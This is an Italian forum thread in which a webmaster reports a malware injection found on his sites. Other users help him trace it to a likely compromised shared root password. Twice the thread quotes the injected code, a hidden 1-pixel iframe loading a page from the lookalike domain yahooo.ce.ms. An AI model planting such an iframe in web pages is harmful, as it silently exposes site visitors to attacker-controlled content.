Malware Google translate

izzyweb

Malware Google translate

Se è la sezione sbagliata spostatemi pure il post.
Ieri mi sono ritrovato un malware dentro tutti i miei siti, si è intrufolato dallo script di Google Translate
Questo è la segnalazione di http://sucuri.net/malware/


http://www.miosito.it//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit

Details: http://sucuri.net/malware/entry/MW:IFRAME:HD202
<iframe src="http://yahooo.ce.ms/stds/topic.php?sid=1" frameborder="0" width="1px" height="1px">

A voi risulta questo attacco? In rete non ho trovato ancora niente :bho:

marco.quadrella

Ciao Izzyweb.

Da quanto scritto su Sucuri all'URL da te postato, sembra che il problema non sia di Google Translate.

Per quanto ne sappiamo, il virus sembrerebbe essere intrufolato nel sospettissimo sito yahooo.ce.ms (notare la tripla o) dal quale includi un Iframe.

Non insospettisce anche te?

izzyweb

Ma allora non ho capito da dove è entrato!!! Mi sono ritrovato quell'iframe in tutti e quattro i siti subito dopo la chiusura del tag HTML.
Il messaggio su Sucuri mi aveva confuso, perché lincava il translate di Google.
Come posso verificare da dove è entrato? Esiste un sistema?
Grazie.

<iframe src="http://yahooo.ce.ms/stds/topic.php?sid=1" frameborder="0" width="1px" height="1px">

444523

Contatta il tuo hoster... potresti aver la password attiva da root. Sei su un hosting condiviso?

izzyweb

Si sono su Hosting condiviso Aruba, in effetti la password della Root è la stessa per tutti i miei siti (5). Per aver maggior sicurezza come dovrebbe essere? Cosa dovrei chiedere ad aruba?

444523

@Izzyweb said:

Per aver maggior sicurezza come dovrebbe essere? Cosa dovrei chiedere ad aruba?

Ho avuto anch'io questo problema su un dedicato managed, l'anno scorso. Sono andato a cercare i ticket per essere più preciso, ma hanno cambiato sistema di ticket e l'archivio non c'è più.

In pratica ora si accede ad ogni account con una password specifica e robusta. Io l'ho potuta disabilitare tramite Cpanel, non so che pannello hai e se, soprattutto, è questo il problema... comunque essendo un hosting condiviso puoi certamente contattare l'assistenza...

izzyweb

Grazie 444523
Sei stato preziosissimo, adesso chiedo lumi all'assistenza di Aruba.